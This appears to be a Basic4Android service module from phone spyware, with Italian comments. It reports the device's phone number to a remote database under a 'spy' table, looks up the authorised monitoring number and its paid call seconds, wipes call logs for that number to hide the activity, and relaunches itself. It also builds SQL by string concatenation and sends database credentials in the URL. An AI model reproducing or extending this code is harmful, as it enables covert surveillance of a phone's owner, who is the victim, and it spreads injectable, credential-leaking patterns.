Sub Service_Start
sPhonenum = pId.GetLine1Number
ExecuteRemoteQuery("UPDATE spy SET imei ='ONLINE' where numerospy ='" & sPhonenum & "'","")
ExecuteRemoteQuery("SELECT numeroconsole from spy where numerospy ='" & sPhonenum & "'", SPY_LISTENER)
End Sub
Sub ExecuteRemoteQuery(Query AsString, JobName AsString)
Dim job AsHttpJob
job.Initialize(JobName, Me)
job.PostString("http://www.XXXXXX.eu/database/db.php?hst="&ipserver&"&db="&dbname&"&usr="&userdb&"&pwd="&dbpw&"", Query)
job.GetRequest.Timeout = 60000 '60 seconds
End Sub
Sub JobDone(Job AsHttpJob)
If Job.Success Then
Dim res AsString
res = Job.GetString
Log("Response from server: " & res)
Dim parser AsJSONParser
parser.Initialize(res)
Select Job.JobName
Case SPY_LISTENER
Dim l As List
l = parser.NextArray
If l.Size = 0Then
numero_autorizzato = "000000000"
Else
Dim m AsMap
m = l.Get(0)
numero_autorizzato = m.Get("numeroconsole")
'Prelevo i secondi sul conto
ExecuteRemoteQuery("SELECT secondi from ricarica_spy where numero = '"& numero_autorizzato &"'", RICARICA_SPY_LISTENER)
EndIf
'Prelevo tramite la query di sopra i secondi rimasti
Case RICARICA_SPY_LISTENER
Dim l AsList
l = parser.NextArray
If l.Size = 0Then
secondi_disponibili = 0
Else
Dim m AsMap
m = l.Get(0)
secondi_disponibili = m.Get("secondi")
secondi_disponibili = secondi_disponibili * 1000
Ifsecondi_disponibili > 7000Then
secondi_totale = secondi_disponibili
Else
secondi_totale = 20000
EndIf
' ToastMessageShow("MilliSecondi rimasti DB Inizio: "& secondi_disponibili, True)
' ToastMessageShow("Secondi Totali: "& secondi_totale, True)
EndIf
Case SALVA_CREDITO_LISTENER
mfl.deletecalllogs(numero_autorizzato)
' ToastMessageShow("**Riparto con il servizio", True)
StartServiceAt("", DateTime.Now,True)
EndSelect
Else
' ToastMessageShow("Error: " & Job.ErrorMessage & "Errore Internet", True)
EndIf
Job.Release
End Sub